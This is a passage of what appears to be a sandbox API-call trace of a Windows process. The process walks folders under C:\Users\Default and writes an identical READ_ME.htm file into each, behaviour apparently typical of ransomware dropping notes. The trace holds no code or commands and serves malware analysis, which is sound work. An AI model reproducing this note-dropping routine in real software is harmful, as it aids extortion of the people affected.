nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.941] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.942] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.942] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0143.942] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.942] SetErrorMode (uMode=0x0) returned 0x1 [0143.942] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0143.942] SetErrorMode (uMode=0x1) returned 0x0 [0143.943] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games\\READ_ME.htm" (normalized: "c:\\users\\default\\saved games\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.943] GetFileType (hFile=0x1d0) returned 0x1 [0143.943] SetErrorMode (uMode=0x0) returned 0x1 [0143.943] GetFileType (hFile=0x1d0) returned 0x1 [0143.943] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ac1b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28ac1b8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.944] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Searches", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Searches", lpFilePart=0x0) returned 0x19 [0143.944] SetErrorMode (uMode=0x1) returned 0x0 [0143.944] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*" (normalized: "c:\\users\\default\\searches\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.947] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.947] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.947] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0143.947] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0143.947] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0143.947] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.948] SetErrorMode (uMode=0x0) returned 0x1 [0143.948] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Searches", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Searches", lpFilePart=0x0) returned 0x19 [0143.948] SetErrorMode (uMode=0x1) returned 0x0 [0143.949] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*" (normalized: "c:\\users\\default\\searches\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.950] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.950] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.950] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0143.950] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0143.950] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0143.950] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.951] SetErrorMode (uMode=0x0) returned 0x1 [0143.951] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Searches\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Searches\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0143.951] SetErrorMode (uMode=0x1) returned 0x0 [0143.952] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\READ_ME.htm" (normalized: "c:\\users\\default\\searches\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.953] GetFileType (hFile=0x1d0) returned 0x1 [0143.953] SetErrorMode (uMode=0x0) returned 0x1 [0143.953] GetFileType (hFile=0x1d0) returned 0x1 [0143.953] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b25a0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28b25a0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.954] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo", lpFilePart=0x0) returned 0x17 [0143.955] SetErrorMode (uMode=0x1) returned 0x0 [0143.955] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*" (normalized: "c:\\users\\default\\sendto\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.956] SetErrorMode (uMode=0x0) returned 0x1 [0143.957] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo\\READ_ME.htm", lpFilePart=0x0) returned 0x23 [0143.957] SetErrorMode (uMode=0x1) returned 0x0 [0143.958] CreateFileW (lpFileName="C:\\Users\\Default\\SendTo\\READ_ME.htm" (normalized: "c:\\users\\default\\sendto\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.965] GetFileType (hFile=0x1d0) returned 0x1 [0143.965] SetErrorMode (uMode=0x0) returned 0x1 [0143.965] GetFileType (hFile=0x1d0) returned 0x1 [0143.965] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b7e98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28b7e98*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.967] CloseHandle (hObject=0x1d0) returned 1 [0143.967] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu", lpFilePart=0x0) returned 0x1b [0143.967] SetErrorMode (uMode=0x1) returned 0x0 [0143.967] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*" (normalized: "c:\\users\\default\\start menu\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.981] SetErrorMode (uMode=0x0) returned 0x1 [0143.982] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu\\READ_ME.htm", lpFilePart=0x0) returned 0x27 [0143.982] SetErrorMode (uMode=0x1) returned 0x0 [0143.982] CreateFileW (lpFileName="C:\\Users\\Default\\Start Menu\\READ_ME.htm" (normalized: "c:\\users\\default\\start menu\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.984] GetFileType (hFile=0x1d0) returned 0x1 [0143.984] SetErrorMode (uMode=0x0) returned 0x1 [0143.984] GetFileType (hFile=0x1d0) returned 0x1 [0143.984] WriteFile (in: hFile=0x1d0, lpBuffer=0x28bd7d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28bd7d0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.986] CloseHandle (hObject=0x1d0) returned 1 [0143.986] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates", lpFilePart=0x0) returned 0x1a [0143.986] SetErrorMode (uMode=0x1) returned 0x0 [0143.986] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*" (normalized: "c:\\users\\default\\templates\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.988] SetErrorMode (uMode=0x0) returned 0x1 [0143.988] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0143.988] SetErrorMode (uMode=0x1) returned 0x0 [0143.989] CreateFileW (lpFileName="C:\\Users\\Default\\Templates\\READ_ME.htm" (normalized: "c:\\users\\default\\templates\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.989] GetFileType (hFile=0x1d0) returned 0x1 [0143.989] SetErrorMode (uMode=0x0) returned 0x1 [0143.989] GetFileType (hFile=0x1d0) returned 0x1 [0143.989] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c3108*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28c3108*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.991] CloseHandle (hObject=0x1d0) returned 1 [0143.992] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos", lpFilePart=0x0) returned 0x17 [0143.992] SetErrorMode (uMode=0x1) returned 0x0 [0143.992] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*" (normalized: "c:\\users\\default\\videos\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52327280, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5234d3e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0143.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52327280, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5234d3e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0143.994] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.994] SetErrorMode (uMode=0x0) returned 0x1 [0143.994] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos", lpFilePart=0x0) returned 0x17 [0143.994] SetErrorMode (uMode=0x1) returned 0x0 [0143.995] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*" (normalized: "c:\\users\\default\\videos\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.995] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.995] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.995] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52327280, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5234d3e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0143.995] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52327280, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5234d3e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0143.995] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.996] SetErrorMode (uMode=0x0) returned 0x1 [0143.996] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos\\READ_ME.htm", lpFilePart=0x0) returned 0x23 [0143.996] SetErrorMode (uMode=0x1) returned 0x0 [0143.996] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\READ_ME.htm" (normalized: "c:\\users\\default\\videos\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.997] GetFileType (hFile=0x1d0) returned 0x1 [0143.997] SetErrorMode (uMode=0x0) returned 0x1 [0143.997] GetFileType (hFile=0x1d0) returned 0x1 [0143.997] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c90e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28c90e8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.998] CloseHandle (hObject=0x1d0) returned 1 [0143.998] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\READ_ME.htm", lpFilePart=0x0) returned 0x1c [0143.998] SetErrorMode (uMode=0x1) returned 0x0 [0143.998] CreateFileW (lpFileName="C:\\Users\\Default\\READ_ME.htm" (normalized: "c:\\users\\default\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.999] GetFileType (hFile=0x1d0) returned 0x1 [0143.999] SetErrorMode (uMode=0x0) returned 0x1 [0143.999] GetFileType (hFile=0x1d0) returned 0x1 [0143.999] WriteFile (in: hFile=0x1d0, lpBuffer=0x28cd628*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28cd628*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0144.000] CloseHandle (hObject=0x1d0) returned 1 [0144.001] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0144.001] SetErrorMode 